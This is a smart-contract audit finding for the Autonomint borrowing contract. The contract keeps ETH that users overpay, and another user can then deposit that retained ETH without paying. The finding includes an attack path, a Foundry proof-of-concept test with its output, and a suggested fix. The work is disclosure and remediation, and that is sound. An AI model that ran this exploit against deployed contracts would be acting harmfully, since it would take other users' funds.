Tangy Lemon Tardigrade

Medium

# Users might accidentally lose ETH, allowing an attacker to deposit without making any payment.

### Summary

In borrowing.sol

https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/Core_logic/borrowing.sol#L226

When users deposit, the borrow contract doesn't validate the ETH paid or refund any excess.
As a result, users could lose ETH by sending more than the required deposit amount, with the borrow contract retaining the surplus.
Another user could then deposit the retained amount held by the borrow contract without making any payment.

### Root Cause

_No response_

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. User A intends to deposit 1 ETH.
2. However, by mistake, User A sends an additional 0.5 ETH on top of the 1 ETH deposit amount and the native fee.
3. After the deposit, the borrowing contract holds the extra 0.5 ETH.
4. User B then deposits an amount equal to (0.5 ETH - native fee) without sending any ETH.
5. User B's deposit is processed successfully.

### Impact

- User A will lose the excess amount sent by mistake.
- User B will deposit the amount that User A lost without sending any eth.

### PoC

```Solidity
function testDepositTest() public {
        vm.startPrank(USER);
        contractsA.usdt.mint(address(USER),5000000000);
        uint256 usdtBalance = contractsA.usdt.balanceOf(address(USER));
        contractsA.usdt.approve(address(contractsA.cds),usdtBalance);
        contractsA.cds.deposit{value:globalFee.nativeFee}(uint128(usdtBalance),0,true,uint128(usdtBalance), ETH_PRICE);

        uint beforeBalUser = address(USER).balance;
        uint beforeBalUser1 = address(USER_Attacker).balance;

        uint256  MorePaid = 0.5 ether;

        // User A sent more 0.5 eth.
        contractsB.borrow.depositTokens{value: ETH_AMOUNT  + globalFee.nativeFee + MorePaid}(
            ETH_PRICE,
            uint64(block.timestamp),
            IBorrowing.BorrowDepositParams(
                IOptions.StrikePrice.TEN,
                110000,
                ETH_VOLATILITY,
                IBorrowing.AssetName.ETH,
                ETH_AMOUNT
            )
        );

        vm.stopPrank();
        vm.startPrank(USER_Attacker);

        // borrowing contract has 0.5 eth.
        uint borrowBalance = address(contractsB.borrow).balance;

        // USER_Attacker deposit without sending any eth.
        contractsB.borrow.depositTokens{value: (0 )}(
            ETH_PRICE,
            uint64(block.timestamp),
            IBorrowing.BorrowDepositParams(
                IOptions.StrikePrice.TEN,
                110000,
                ETH_VOLATILITY,
                IBorrowing.AssetName.ETH,
                borrowBalance - globalFee.nativeFee
            )
        );
        
        console.log("----balance of user--- before deposit");
        console.log(beforeBalUser);
        console.log("----balance of user--- after deposit");
        console.log(address(USER).balance);

        
        console.log("----balance of attacker--- before deposit");
        console.log(beforeBalUser1);
        console.log("----balance of attacker--- after deposit");
        console.log(address(USER_Attacker).balance);

        console.log("----balance of borrowing--- after user A deposit");
        console.log(borrowBalance);
        console.log("----balance of borrowing--- after user Attacker deposit");
        console.log(address(contractsB.borrow).balance);

        vm.stopPrank();
    }
```


Result is 

  ----balance of user--- before deposit
  99994579496000000000
  ----balance of user--- after deposit
  98489158992000000000
  ----balance of attacker--- before deposit
  0
  ----balance of attacker--- after deposit
  0
  ----balance of borrowing--- after user A deposit
  500000000000000000
  ----balance of borrowing--- after user Attacker deposit
  0

As a result, attacker deposited with the eth that borrowing contract have.
  


### Mitigation

1. The borrowing contract must refund the excess amount retained.
2. The borrowing contract must verify that the amount sent matches the deposit amount.

In borrowing.sol

```Solidity
 function depositTokens(
        BorrowDepositParams memory depositParam
    ) external payable nonReentrant whenNotPaused(IMultiSign.Functions(0)) {
          
      + require(msg.value > depositParam.depositingAmount,"Deposit amount is not enough ");  // for suggestion 2.

      ....

      + payable(msg.sender).call{value: msg.value -  depositParam.depositingAmount - fee.nativeFee }("");  // for suggestion 1.

}
```